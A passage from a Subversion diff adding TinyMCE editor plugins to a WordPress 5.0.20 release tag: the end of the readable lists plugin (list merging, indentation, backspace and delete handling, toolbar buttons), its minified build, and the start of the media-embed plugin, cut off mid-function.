+      if (node.nodeType === 3 && node.data.length > 0) {
+        return node;
+      }
+    }
+  };
+  var hasOnlyOneBlockChild = function (dom, elm) {
+    var childNodes = elm.childNodes;
+    return childNodes.length === 1 && !$_okk1ogljjgweckx.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]);
+  };
+  var unwrapSingleBlockChild = function (dom, elm) {
+    if (hasOnlyOneBlockChild(dom, elm)) {
+      dom.remove(elm.firstChild, true);
+    }
+  };
+  var moveChildren = function (dom, fromElm, toElm) {
+    var node, targetElm;
+    targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm;
+    unwrapSingleBlockChild(dom, fromElm);
+    if (!$_okk1ogljjgweckx.isEmpty(dom, fromElm, true)) {
+      while (node = fromElm.firstChild) {
+        targetElm.appendChild(node);
+      }
+    }
+  };
+  var mergeLiElements = function (dom, fromElm, toElm) {
+    var node, listNode;
+    var ul = fromElm.parentNode;
+    if (!$_okk1ogljjgweckx.isChildOfBody(dom, fromElm) || !$_okk1ogljjgweckx.isChildOfBody(dom, toElm)) {
+      return;
+    }
+    if ($_okk1ogljjgweckx.isListNode(toElm.lastChild)) {
+      listNode = toElm.lastChild;
+    }
+    if (ul === toElm.lastChild) {
+      if ($_okk1ogljjgweckx.isBr(ul.previousSibling)) {
+        dom.remove(ul.previousSibling);
+      }
+    }
+    node = toElm.lastChild;
+    if (node && $_okk1ogljjgweckx.isBr(node) && fromElm.hasChildNodes()) {
+      dom.remove(node);
+    }
+    if ($_okk1ogljjgweckx.isEmpty(dom, toElm, true)) {
+      dom.$(toElm).empty();
+    }
+    moveChildren(dom, fromElm, toElm);
+    if (listNode) {
+      toElm.appendChild(listNode);
+    }
+    dom.remove(fromElm);
+    if ($_okk1ogljjgweckx.isEmpty(dom, ul) && ul !== dom.getRoot()) {
+      dom.remove(ul);
+    }
+  };
+  var mergeIntoEmptyLi = function (editor, fromLi, toLi) {
+    editor.dom.$(toLi).empty();
+    mergeLiElements(editor.dom, fromLi, toLi);
+    editor.selection.setCursorLocation(toLi);
+  };
+  var mergeForward = function (editor, rng, fromLi, toLi) {
+    var dom = editor.dom;
+    if (dom.isEmpty(toLi)) {
+      mergeIntoEmptyLi(editor, fromLi, toLi);
+    } else {
+      var bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
+      mergeLiElements(dom, fromLi, toLi);
+      editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+    }
+  };
+  var mergeBackward = function (editor, rng, fromLi, toLi) {
+    var bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
+    mergeLiElements(editor.dom, fromLi, toLi);
+    var resolvedBookmark = $_2nx1i4gjjjgweckt.resolveBookmark(bookmark);
+    editor.selection.setRng(resolvedBookmark);
+  };
+  var backspaceDeleteFromListToListCaret = function (editor, isForward) {
+    var dom = editor.dom, selection = editor.selection;
+    var selectionStartElm = selection.getStart();
+    var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
+    var li = dom.getParent(selection.getStart(), 'LI', root);
+    var ul, rng, otherLi;
+    if (li) {
+      ul = li.parentNode;
+      if (ul === editor.getBody() && $_okk1ogljjgweckx.isEmpty(dom, ul)) {
+        return true;
+      }
+      rng = $_a9cyhvgkjjgweckv.normalizeRange(selection.getRng(true));
+      otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
+      if (otherLi && otherLi !== li) {
+        if (isForward) {
+          mergeForward(editor, rng, otherLi, li);
+        } else {
+          mergeBackward(editor, rng, li, otherLi);
+        }
+        return true;
+      } else if (!otherLi) {
+        if (!isForward && $_aek3i3gejjgwecki.removeList(editor)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  };
+  var removeBlock = function (dom, block, root) {
+    var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root);
+    dom.remove(block);
+    if (parentBlock && dom.isEmpty(parentBlock)) {
+      dom.remove(parentBlock);
+    }
+  };
+  var backspaceDeleteIntoListCaret = function (editor, isForward) {
+    var dom = editor.dom;
+    var selectionStartElm = editor.selection.getStart();
+    var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
+    var block = dom.getParent(selectionStartElm, dom.isBlock, root);
+    if (block && dom.isEmpty(block)) {
+      var rng = $_a9cyhvgkjjgweckv.normalizeRange(editor.selection.getRng(true));
+      var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
+      if (otherLi_1) {
+        editor.undoManager.transact(function () {
+          removeBlock(dom, block, root);
+          $_aek3i3gejjgwecki.mergeWithAdjacentLists(dom, otherLi_1.parentNode);
+          editor.selection.select(otherLi_1, true);
+          editor.selection.collapse(isForward);
+        });
+        return true;
+      }
+    }
+    return false;
+  };
+  var backspaceDeleteCaret = function (editor, isForward) {
+    return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward);
+  };
+  var backspaceDeleteRange = function (editor) {
+    var selectionStartElm = editor.selection.getStart();
+    var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, selectionStartElm);
+    var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root);
+    if (startListParent || $_3xb1cggnjjgwecl3.getSelectedListItems(editor).length > 0) {
+      editor.undoManager.transact(function () {
+        editor.execCommand('Delete');
+        $_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, editor.getBody());
+      });
+      return true;
+    }
+    return false;
+  };
+  var backspaceDelete = function (editor, isForward) {
+    return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor);
+  };
+  var setup = function (editor) {
+    editor.on('keydown', function (e) {
+      if (e.keyCode === global$3.BACKSPACE) {
+        if (backspaceDelete(editor, false)) {
+          e.preventDefault();
+        }
+      } else if (e.keyCode === global$3.DELETE) {
+        if (backspaceDelete(editor, true)) {
+          e.preventDefault();
+        }
+      }
+    });
+  };
+  var $_brhyezgajjgweck7 = {
+    setup: setup,
+    backspaceDelete: backspaceDelete
+  };
+
+  var get = function (editor) {
+    return {
+      backspaceDelete: function (isForward) {
+        $_brhyezgajjgweck7.backspaceDelete(editor, isForward);
+      }
+    };
+  };
+  var $_nb3yvg9jjgweck5 = { get: get };
+
+  var DOM$5 = global$6.DOM;
+  var mergeLists = function (from, to) {
+    var node;
+    if ($_okk1ogljjgweckx.isListNode(from)) {
+      while (node = from.firstChild) {
+        to.appendChild(node);
+      }
+      DOM$5.remove(from);
+    }
+  };
+  var indent = function (li) {
+    var sibling, newList, listStyle;
+    if (li.nodeName === 'DT') {
+      DOM$5.rename(li, 'DD');
+      return true;
+    }
+    sibling = li.previousSibling;
+    if (sibling && $_okk1ogljjgweckx.isListNode(sibling)) {
+      sibling.appendChild(li);
+      return true;
+    }
+    if (sibling && sibling.nodeName === 'LI' && $_okk1ogljjgweckx.isListNode(sibling.lastChild)) {
+      sibling.lastChild.appendChild(li);
+      mergeLists(li.lastChild, sibling.lastChild);
+      return true;
+    }
+    sibling = li.nextSibling;
+    if (sibling && $_okk1ogljjgweckx.isListNode(sibling)) {
+      sibling.insertBefore(li, sibling.firstChild);
+      return true;
+    }
+    sibling = li.previousSibling;
+    if (sibling && sibling.nodeName === 'LI') {
+      newList = DOM$5.create(li.parentNode.nodeName);
+      listStyle = DOM$5.getStyle(li.parentNode, 'listStyleType');
+      if (listStyle) {
+        DOM$5.setStyle(newList, 'listStyleType', listStyle);
+      }
+      sibling.appendChild(newList);
+      newList.appendChild(li);
+      mergeLists(li.lastChild, newList);
+      return true;
+    }
+    return false;
+  };
+  var indentSelection = function (editor) {
+    var listElements = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
+    if (listElements.length) {
+      var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
+      for (var i = 0; i < listElements.length; i++) {
+        if (!indent(listElements[i]) && i === 0) {
+          break;
+        }
+      }
+      editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+      editor.nodeChanged();
+      return true;
+    }
+  };
+  var $_3rkwagtjjgweclf = { indentSelection: indentSelection };
+
+  var queryListCommandState = function (editor, listName) {
+    return function () {
+      var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL');
+      return parentList && parentList.nodeName === listName;
+    };
+  };
+  var register = function (editor) {
+    editor.on('BeforeExecCommand', function (e) {
+      var cmd = e.command.toLowerCase();
+      var isHandled;
+      if (cmd === 'indent') {
+        if ($_3rkwagtjjgweclf.indentSelection(editor)) {
+          isHandled = true;
+        }
+      } else if (cmd === 'outdent') {
+        if ($_6pbactghjjgweckp.outdentSelection(editor)) {
+          isHandled = true;
+        }
+      }
+      if (isHandled) {
+        editor.fire('ExecCommand', { command: e.command });
+        e.preventDefault();
+        return true;
+      }
+    });
+    editor.addCommand('InsertUnorderedList', function (ui, detail) {
+      $_aek3i3gejjgwecki.toggleList(editor, 'UL', detail);
+    });
+    editor.addCommand('InsertOrderedList', function (ui, detail) {
+      $_aek3i3gejjgwecki.toggleList(editor, 'OL', detail);
+    });
+    editor.addCommand('InsertDefinitionList', function (ui, detail) {
+      $_aek3i3gejjgwecki.toggleList(editor, 'DL', detail);
+    });
+    editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL'));
+    editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL'));
+    editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL'));
+  };
+  var $_blnfs1gsjjgwecld = { register: register };
+
+  var shouldIndentOnTab = function (editor) {
+    return editor.getParam('lists_indent_on_tab', true);
+  };
+  var $_8obsbgvjjgweclk = { shouldIndentOnTab: shouldIndentOnTab };
+
+  var setupTabKey = function (editor) {
+    editor.on('keydown', function (e) {
+      if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) {
+        return;
+      }
+      if (editor.dom.getParent(editor.selection.getStart(), 'LI,DT,DD')) {
+        e.preventDefault();
+        if (e.shiftKey) {
+          $_6pbactghjjgweckp.outdentSelection(editor);
+        } else {
+          $_3rkwagtjjgweclf.indentSelection(editor);
+        }
+      }
+    });
+  };
+  var setup$1 = function (editor) {
+    if ($_8obsbgvjjgweclk.shouldIndentOnTab(editor)) {
+      setupTabKey(editor);
+    }
+    $_brhyezgajjgweck7.setup(editor);
+  };
+  var $_ees9z9gujjgwecli = { setup: setup$1 };
+
+  var findIndex = function (list, predicate) {
+    for (var index = 0; index < list.length; index++) {
+      var element = list[index];
+      if (predicate(element)) {
+        return index;
+      }
+    }
+    return -1;
+  };
+  var listState = function (editor, listName) {
+    return function (e) {
+      var ctrl = e.control;
+      editor.on('NodeChange', function (e) {
+        var tableCellIndex = findIndex(e.parents, $_okk1ogljjgweckx.isTableCellNode);
+        var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents;
+        var lists = global$5.grep(parents, $_okk1ogljjgweckx.isListNode);
+        ctrl.active(lists.length > 0 && lists[0].nodeName === listName);
+      });
+    };
+  };
+  var indentPostRender = function (editor) {
+    return function (e) {
+      var ctrl = e.control;
+      editor.on('nodechange', function () {
+        var listItemBlocks = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
+        var disable = listItemBlocks.length > 0 && $_okk1ogljjgweckx.isFirstChild(listItemBlocks[0]);
+        ctrl.disabled(disable);
+      });
+    };
+  };
+  var register$1 = function (editor) {
+    var hasPlugin = function (editor, plugin) {
+      var plugins = editor.settings.plugins ? editor.settings.plugins : '';
+      return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1;
+    };
+    if (!hasPlugin(editor, 'advlist')) {
+      editor.addButton('numlist', {
+        active: false,
+        title: 'Numbered list',
+        cmd: 'InsertOrderedList',
+        onPostRender: listState(editor, 'OL')
+      });
+      editor.addButton('bullist', {
+        active: false,
+        title: 'Bullet list',
+        cmd: 'InsertUnorderedList',
+        onPostRender: listState(editor, 'UL')
+      });
+    }
+    editor.addButton('indent', {
+      icon: 'indent',
+      title: 'Increase indent',
+      cmd: 'Indent',
+      onPostRender: indentPostRender(editor)
+    });
+  };
+  var $_s7o0sgwjjgweclm = { register: register$1 };
+
+  global.add('lists', function (editor) {
+    $_ees9z9gujjgwecli.setup(editor);
+    $_s7o0sgwjjgweclm.register(editor);
+    $_blnfs1gsjjgwecld.register(editor);
+    return $_nb3yvg9jjgweck5.get(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),o=function(e){return e&&"BR"===e.nodeName},r=function(e){return e&&3===e.nodeType},h=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},i=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},a=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},C=o,s=function(e){return e.parentNode.firstChild===e},c=function(e){return e.parentNode.lastChild===e},y=function(e,t){return t&&!!e.schema.getTextBlockElements()[t.nodeName]},f=function(e,t){return e&&e.nodeName in t},u=function(e,t){return!!o(t)&&!(!e.isBlock(t.nextSibling)||o(t.previousSibling))},m=function(e,t,n){var o=e.isEmpty(t);return!(n&&0<e.select("span[data-mce-type=bookmark]",t).length)&&o},g=function(e,t){return e.isChildOf(t,e.getRoot())},N=function(e,t){var n=d.getNode(e,t);return i(e)&&r(n)?{container:n,offset:t>=e.childNodes.length?n.data.length:0}:{container:e,offset:t}},L=function(e){var t=e.cloneRange(),n=N(e.startContainer,e.startOffset);t.setStart(n.container,n.offset);var o=N(e.endContainer,e.endOffset);return t.setEnd(o.container,o.offset),t},S=t.DOM,b=function(r){var i={},e=function(e){var t,n,o;n=r[e?"startContainer":"endContainer"],o=r[e?"startOffset":"endOffset"],1===n.nodeType&&(t=S.create("span",{"data-mce-type":"bookmark"}),n.hasChildNodes()?(o=Math.min(o,n.childNodes.length-1),e?n.insertBefore(t,n.childNodes[o]):S.insertAfter(t,n.childNodes[o])):n.appendChild(t),n=t,o=0),i[e?"startContainer":"endContainer"]=n,i[e?"startOffset":"endOffset"]=o};return e(!0),r.collapsed||e(),i},D=function(r){function e(e){var t,n,o;t=o=r[e?"startContainer":"endContainer"],n=r[e?"startOffset":"endOffset"],t&&(1===t.nodeType&&(n=function(e){for(var t=e.parentNode.firstChild,n=0;t;){if(t===e)return n;1===t.nodeType&&"bookmark"===t.getAttribute("data-mce-type")||n++,t=t.nextSibling}return-1}(t),t=t.parentNode,S.remove(o),!t.hasChildNodes()&&S.isBlock(t)&&t.appendChild(S.create("br"))),r[e?"startContainer":"endContainer"]=t,r[e?"startOffset":"endOffset"]=n)}e(!0),e();var t=S.createRng();return t.setStart(r.startContainer,r.startOffset),r.endContainer&&t.setEnd(r.endContainer,r.endOffset),L(t)},k=t.DOM,T=function(e,t){var n,o=t.parentNode;"LI"===o.nodeName&&o.firstChild===t&&((n=o.previousSibling)&&"LI"===n.nodeName?(n.appendChild(t),m(e,o)&&k.remove(o)):k.setStyle(o,"listStyleType","none")),h(o)&&(n=o.previousSibling)&&"LI"===n.nodeName&&n.appendChild(t)},I=function(t,e){v.each(v.grep(t.select("ol,ul",e)),function(e){T(t,e)})},B=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),R=function(e){var t=e.selection.getStart(!0);return e.dom.getParent(t,"OL,UL,DL",O(e,t))},O=function(e,t){var n=e.dom.getParents(t,"TD,TH");return 0<n.length?n[0]:e.getBody()},E={getParentList:R,getSelectedSubLists:function(e){var t,n,o,r=R(e),i=e.selection.getSelectedBlocks();return o=i,(n=r)&&1===o.length&&o[0]===n?(t=r,v.grep(t.querySelectorAll("ol,ul,dl"),function(e){return h(e)})):v.grep(i,function(e){return h(e)&&r!==e})},getSelectedListItems:function(e){var n,t,o,r=e.selection.getSelectedBlocks();return v.grep((n=e,t=r,o=v.map(t,function(e){var t=n.dom.getParent(e,"li,dd,dt",O(n,e));return t||e}),B.unique(o)),function(e){return i(e)})},getClosestListRootElm:O},A=tinymce.util.Tools.resolve("tinymce.Env"),P=t.DOM,x=function(e,t,n){var o,r,i,a=P.createFragment(),s=e.schema.getBlockElements();if(e.settings.forced_root_block&&(n=n||e.settings.forced_root_block),n&&((r=P.create(n)).tagName===e.settings.forced_root_block&&P.setAttribs(r,e.settings.forced_root_block_attrs),f(t.firstChild,s)||a.appendChild(r)),t)for(;o=t.firstChild;){var d=o.nodeName;i||"SPAN"===d&&"bookmark"===o.getAttribute("data-mce-type")||(i=!0),f(o,s)?(a.appendChild(o),r=null):n?(r||(r=P.create(n),a.appendChild(r)),r.appendChild(o)):a.appendChild(o)}return e.settings.forced_root_block?i||A.ie&&!(10<A.ie)||r.appendChild(P.create("br",{"data-mce-bogus":"1"})):a.appendChild(P.create("br")),a},_=t.DOM,M=function(e,t,n,o){var r,i,a,s,d;for(a=_.select('span[data-mce-type="bookmark"]',t),o=o||x(e,n),(r=_.createRng()).setStartAfter(n),r.setEndAfter(t),s=(i=r.extractContents()).firstChild;s;s=s.firstChild)if("LI"===s.nodeName&&e.dom.isEmpty(s)){_.remove(s);break}e.dom.isEmpty(i)||_.insertAfter(i,t),_.insertAfter(o,t),m(e.dom,n.parentNode)&&(d=n.parentNode,v.each(a,function(e){d.parentNode.insertBefore(e,n.parentNode)}),_.remove(d)),_.remove(n),m(e.dom,t)&&_.remove(t)},U=t.DOM,H=function(e,t){m(e,t)&&U.remove(t)},$=function(e,t){var n,o,r=t.parentNode;return r?(n=r.parentNode,r===e.getBody()||("DD"===t.nodeName?U.rename(t,"DT"):s(t)&&c(t)?"LI"===n.nodeName?(U.insertAfter(t,n),H(e.dom,n),U.remove(r)):h(n)?U.remove(r,!0):(n.insertBefore(x(e,t),r),U.remove(r)):s(t)?"LI"===n.nodeName?(U.insertAfter(t,n),t.appendChild(r),H(e.dom,n)):h(n)?n.insertBefore(t,r):(n.insertBefore(x(e,t),r),U.remove(t)):c(t)?"LI"===n.nodeName?U.insertAfter(t,n):h(n)?U.insertAfter(t,r):(U.insertAfter(x(e,t),r),U.remove(t)):("LI"===n.nodeName?(r=n,o=x(e,t,"LI")):o=h(n)?x(e,t,"LI"):x(e,t),M(e,r,t,o),I(e.dom,r.parentNode)))):H(e.dom,t),!0},w=$,K=function(e){var t=E.getSelectedListItems(e);if(t.length){var n=b(e.selection.getRng()),o=void 0,r=void 0,i=E.getClosestListRootElm(e,e.selection.getStart(!0));for(o=t.length;o--;)for(var a=t[o].parentNode;a&&a!==i;){for(r=t.length;r--;)if(t[r]===a){t.splice(o,1);break}a=a.parentNode}for(o=0;o<t.length&&($(e,t[o])||0!==o);o++);return e.selection.setRng(D(n)),e.nodeChanged(),!0}},Q=function(n,e){v.each(e,function(e,t){n.setAttribute(t,e)})},W=function(e,t,n){var o,r,i,a,s,d,l;o=e,r=t,a=(i=n)["list-style-type"]?i["list-style-type"]:null,o.setStyle(r,"list-style-type",a),s=e,Q(d=t,(l=n)["list-attributes"]),v.each(s.select("li",d),function(e){Q(e,l["list-item-attributes"])})},j=function(e,t,n,o){var r,i;for(r=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"],1===r.nodeType&&(r=r.childNodes[Math.min(i,r.childNodes.length-1)]||r),!n&&C(r.nextSibling)&&(r=r.nextSibling);r.parentNode!==o;){if(y(e,r))return r;if(/^(TD|TH)$/.test(r.parentNode.nodeName))return r;r=r.parentNode}return r},q=function(c,f,u){void 0===u&&(u={});var e,t=c.selection.getRng(!0),m="LI",n=E.getClosestListRootElm(c,c.selection.getStart(!0)),g=c.dom;"false"!==g.getContentEditable(c.selection.getNode())&&("DL"===(f=f.toUpperCase())&&(m="DT"),e=b(t),v.each(function(n,e,o){for(var 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e=b(o.selection.getRng(!0)),r=E.getClosestListRootElm(o,o.selection.getStart(!0)),t=E.getSelectedListItems(o),n=v.grep(t,function(e){return o.dom.isEmpty(e)});t=v.grep(t,function(e){return!o.dom.isEmpty(e)}),v.each(n,function(e){m(o.dom,e)&&w(o,e)}),v.each(t,function(e){var t,n;if(e.parentNode!==o.getBody()){for(t=e;t&&t!==r;t=t.parentNode)h(t)&&(n=t);M(o,n,e),I(o.dom,n.parentNode)}}),o.selection.setRng(D(e))},V=function(e,t,n){return d=n,(s=t)&&d&&h(s)&&s.nodeName===d.nodeName&&(i=t,a=n,(r=e).getStyle(i,"list-style-type",!0)===r.getStyle(a,"list-style-type",!0))&&(o=n,t.className===o.className);var o,r,i,a,s,d},z=function(e,t){var n,o;if(n=t.nextSibling,V(e,t,n)){for(;o=n.firstChild;)t.appendChild(o);e.remove(n)}if(n=t.previousSibling,V(e,t,n)){for(;o=n.lastChild;)t.insertBefore(o,t.firstChild);e.remove(n)}},G=function(t,e,n,o,r){if(e.nodeName!==o||J(r)){var i=b(t.selection.getRng(!0));v.each([e].concat(n),function(e){!function(e,t,n,o){if(t.nodeName!==n){var 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o,r,i,a;if(r=Z(e,n)?n.firstChild:n,Z(i=e,a=t)&&i.remove(a.firstChild,!0),!m(e,t,!0))for(;o=t.firstChild;)r.appendChild(o)},te=function(e,t,n){var o,r,i=t.parentNode;g(e,t)&&g(e,n)&&(h(n.lastChild)&&(r=n.lastChild),i===n.lastChild&&C(i.previousSibling)&&e.remove(i.previousSibling),(o=n.lastChild)&&C(o)&&t.hasChildNodes()&&e.remove(o),m(e,n,!0)&&e.$(n).empty(),ee(e,t,n),r&&n.appendChild(r),e.remove(t),m(e,i)&&i!==e.getRoot()&&e.remove(i))},ne=function(e,t,n,o){var r,i,a,s=e.dom;if(s.isEmpty(o))i=n,a=o,(r=e).dom.$(a).empty(),te(r.dom,i,a),r.selection.setCursorLocation(a);else{var d=b(t);te(s,n,o),e.selection.setRng(D(d))}},oe=function(e,t){var n,o,r,i=e.dom,a=e.selection,s=a.getStart(),d=E.getClosestListRootElm(e,s),l=i.getParent(a.getStart(),"LI",d);if(l){if((n=l.parentNode)===e.getBody()&&m(i,n))return!0;if(o=L(a.getRng(!0)),(r=i.getParent(Y(e,o,t,d),"LI",d))&&r!==l)return t?ne(e,o,r,l):function(e,t,n,o){var r=b(t);te(e.dom,n,o);var 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Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.js	(revision 56912)
@@ -0,0 +1,1166 @@
+(function () {
+var media = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var getScripts = function (editor) {
+    return editor.getParam('media_scripts');
+  };
+  var getAudioTemplateCallback = function (editor) {
+    return editor.getParam('audio_template_callback');
+  };
+  var getVideoTemplateCallback = function (editor) {
+    return editor.getParam('video_template_callback');
+  };
+  var hasLiveEmbeds = function (editor) {
+    return editor.getParam('media_live_embeds', true);
+  };
+  var shouldFilterHtml = function (editor) {
+    return editor.getParam('media_filter_html', true);
+  };
+  var getUrlResolver = function (editor) {
+    return editor.getParam('media_url_resolver');
+  };
+  var hasAltSource = function (editor) {
+    return editor.getParam('media_alt_source', true);
+  };
+  var hasPoster = function (editor) {
+    return editor.getParam('media_poster', true);
+  };
+  var hasDimensions = function (editor) {
+    return editor.getParam('media_dimensions', true);
+  };
+  var $_69rpmgh3jjgwecnr = {
+    getScripts: getScripts,
+    getAudioTemplateCallback: getAudioTemplateCallback,
+    getVideoTemplateCallback: getVideoTemplateCallback,
+    hasLiveEmbeds: hasLiveEmbeds,
+    shouldFilterHtml: shouldFilterHtml,
+    getUrlResolver: getUrlResolver,
+    hasAltSource: hasAltSource,
+    hasPoster: hasPoster,
+    hasDimensions: hasDimensions
+  };
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.html.SaxParser');
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var getVideoScriptMatch = function (prefixes, src) {
+    if (prefixes) {
+      for (var i = 0; i < prefixes.length; i++) {
+        if (src.indexOf(prefixes[i].filter) !== -1) {
+          return prefixes[i];
+        }
+      }
+    }
+  };
+  var $_4q3fmh7jjgwecnw = { getVideoScriptMatch: getVideoScriptMatch };
+
+  var trimPx = function (value) {
+    return value.replace(/px$/, '');
+  };
+  var addPx = function (value) {
+    return /^[0-9.]+$/.test(value) ? value + 'px' : value;
+  };
+  var getSize = function (name) {
+    return function (elm) {
+      return elm ? trimPx(elm.style[name]) : '';
+    };
+  };
+  var setSize = function (name) {
+    return function (elm, value) {
+      if (elm) {
+        elm.style[name] = addPx(value);
+      }
+    };
+  };
+  var $_jbvx7h8jjgwecnx = {
+    getMaxWidth: getSize('maxWidth'),
+    getMaxHeight: getSize('maxHeight'),
+    setMaxWidth: setSize('maxWidth'),
+    setMaxHeight: setSize('maxHeight')
+  };
+
+  var DOM = global$4.DOM;
+  var getEphoxEmbedIri = function (elm) {
+    return DOM.getAttrib(elm, 'data-ephox-embed-iri');
+  };
+  var isEphoxEmbed = function (html) {
+    var fragment = DOM.createFragment(html);
+    return getEphoxEmbedIri(fragment.firstChild) !== '';
+  };
+  var htmlToDataSax = function (prefixes, html) {
+    var data = {};
+    global$3({
+      validate: false,
+      allow_conditional_comments: true,
+      special: 'script,noscript',
+      start: function (name, attrs) {
+        if (!data.source1 && name === 'param') {
+          data.source1 = attrs.map.movie;
+        }
+        if (name === 'iframe' || name === 'object' || name === 'embed' || name === 'video' || name === 'audio') {
+          if (!data.type) {
+            data.type = name;
+          }
+          data = global$2.extend(attrs.map, data);
+        }
+        if (name === 'script') {
+          var videoScript = $_4q3fmh7jjgwecnw.getVideoScriptMatch(prefixes, attrs.map.src);
+          if (!videoScript) {
+            return;
+          }
+          data = {
+            type: 'script',
+            source1: attrs.map.src,
+            width: videoScript.width,
+            height: videoScript.height
+          };
+        }
+        if (name === 'source') {
+          if (!data.source1) {
+            data.source1 = attrs.map.src;
+          } else if (!data.source2) {
+            data.source2 = attrs.map.src;
+          }
+        }
+        if (name === 'img' && !data.poster) {
+          data.poster = attrs.map.src;
+        }
+      }
+    }).parse(html);
+    data.source1 = data.source1 || data.src || data.data;
+    data.source2 = data.source2 || '';
+    data.poster = data.poster || '';
+    return data;
+  };
+  var ephoxEmbedHtmlToData = function (html) {
+    var fragment = DOM.createFragment(html);
+    var div = fragment.firstChild;
+    return {
+      type: 'ephox-embed-iri',
+      source1: getEphoxEmbedIri(div),
+      source2: '',
+      poster: '',
+      width: $_jbvx7h8jjgwecnx.getMaxWidth(div),
+      height: $_jbvx7h8jjgwecnx.getMaxHeight(div)
+    };
+  };
+  var htmlToData = function (prefixes, html) {
+    return isEphoxEmbed(html) ? ephoxEmbedHtmlToData(html) : htmlToDataSax(prefixes, html);
+  };
+  var $_6mep3hh4jjgwecnt = { htmlToData: htmlToData };
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.util.Promise');
+
+  var guess = function (url) {
+    var mimes = {
+      mp3: 'audio/mpeg',
+      wav: 'audio/wav',
+      mp4: 'video/mp4',
+      webm: 'video/webm',
+      ogg: 'video/ogg',
+      swf: 'application/x-shockwave-flash'
+    };
+    var fileEnd = url.toLowerCase().split('.').pop();
+    var mime = mimes[fileEnd];
+    return mime ? mime : '';
+  };
+  var $_d9gn6bhcjjgwecol = { guess: guess };
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.html.Writer');
+
+  var global$7 = tinymce.util.Tools.resolve('tinymce.html.Schema');
+
+  var DOM$1 = global$4.DOM;
+  var setAttributes = function (attrs, updatedAttrs) {
+    var name;
+    var i;
+    var value;
+    var attr;
+    for (name in updatedAttrs) {
+      value = '' + updatedAttrs[name];
+      if (attrs.map[name]) {
+        i = attrs.length;
+        while (i--) {
+          attr = attrs[i];
+          if (attr.name === name) {
+            if (value) {
+              attrs.map[name] = value;
+              attr.value = value;
+            } else {
+              delete attrs.map[name];
+              attrs.splice(i, 1);
+            }
+          }
+        }
+      } else if (value) {
+        attrs.push({
+          name: name,
+          value: value
+        });
+        attrs.map[name] = value;
+      }
+    }
+  };
+  var normalizeHtml = function (html) {
+    var writer = global$6();
+    var parser = global$3(writer);
+    parser.parse(html);
+    return writer.getContent();
+  };
+  var updateHtmlSax = function (html, data, updateAll) {
+    var writer = global$6();
+    var sourceCount = 0;
+    var hasImage;
+    global$3({
+      validate: false,
+      allow_conditional_comments: true,
+      special: 'script,noscript',
+      comment: function (text) {
+        writer.comment(text);
+      },
+      cdata: function (text) {
+        writer.cdata(text);
+      },
+      text: function (text, raw) {
+        writer.text(text, raw);
+      },
+      start: function (name, attrs, empty) {
+        switch (name) {
+        case 'video':
+        case 'object':
+        case 'embed':
+        case 'img':
+        case 'iframe':
+          if (data.height !== undefined && data.width !== undefined) {
+            setAttributes(attrs, {
+              width: data.width,
+              height: data.height
+            });
+          }
+          break;
+        }
+        if (updateAll) {
+          switch (name) {
+          case 'video':
